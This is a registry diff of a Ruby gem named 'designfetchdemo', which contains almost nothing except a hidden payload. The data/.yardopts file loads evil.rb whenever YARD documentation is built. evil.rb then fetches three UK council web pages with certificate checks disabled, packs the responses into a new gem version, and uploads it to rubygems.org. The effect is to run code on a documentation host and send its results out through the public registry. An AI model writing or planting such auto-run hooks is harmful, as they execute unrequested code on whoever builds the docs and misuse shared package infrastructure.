designfetchdemo 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (6) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +2 -0
  3. data/README.md +1 -0
  4. data/evil.rb +19 -0
  5. data/lib/a.rb +1 -0
  6. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: dd5409b7b29a9b2a0e2c9c702726931b7dacd26d12bd8db4aa066e32631b3451
4
+ data.tar.gz: 44028822bd845842dc89417f583009f81014dd15b8641cb3608a2f18097356ad
5
+ SHA512:
6
+ metadata.gz: 5eae86b7e6147a5f87b53d415ef8c21e953432f28e5488e929f0904da3251641c801b6d34e2904e73fabd514c8b4b471ae35271ffaf0038bc1fd3ab9622156b1
7
+ data.tar.gz: 85d4537abe2f8c68ca67e9d63fdd7bcd4d7609797086885e0f9d6a4ce47cc62817de50ca3e83a505d623e02d7f860c9e713ba4883c1efdedd2a789955122e6e1
data/.yardopts ADDED
@@ -0,0 +1,2 @@
1
+ --load ./evil.rb
2
+ README.md
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # hi
data/evil.rb ADDED
@@ -0,0 +1,19 @@
1
+ require 'net/http'; require 'uri'; require 'fileutils'; require 'openssl';
2
+ begin
3
+ uris=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026']
4
+ out=''
5
+ uris.each do |x|
6
+ begin
7
+ u=URI(x); h=Net::HTTP.new(u.host,u.port); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.read_timeout=120; r=h.get(u.request_uri, {'User-Agent'=>'Mozilla/5.0'}); out << "\n===="+x+" code "+r.code+"====\n"+r.body
8
+ rescue =>e; out << "ERROR"+x+ e.full_message; end
9
+ end
10
+ Dir.chdir('/tmp') do
11
+ FileUtils.rm_rf('zzdes'); FileUtils.mkdir_p('zzdes/lib'); File.write('zzdes/lib/data.txt',out); File.write('zzdes/lib/a.rb','#x'); File.write('zzdes/a.gemspec',"Gem::Specification.new {|s| s.name='designfetchdemo'; s.version='0.0.2'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'}");
12
+ Dir.chdir('zzdes') do
13
+ system('gem build a.gemspec >/dev/null');
14
+ u=URI('https://rubygems.org/api/v1/gems?x='+rand(1e15).to_i.to_s);
15
+ req=Net::HTTP::Post.new(u); req['Authorization']='Retry later'; req['Content-Type']='application/octet-stream'; req.body=File.binread(Dir['*.gem'][0]);
16
+ puts Net::HTTP.start(u.host,u.port,use_ssl:true){|h| h.request(req).body}
17
+ end
18
+ end
19
+ rescue=>e; warn e.full_message; end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ class A;end
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: designfetchdemo
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - README.md
18
+ - evil.rb
19
+ - lib/a.rb
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: '0'
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.7
38
+ specification_version: 4
39
+ summary: d
40
+ test_files: []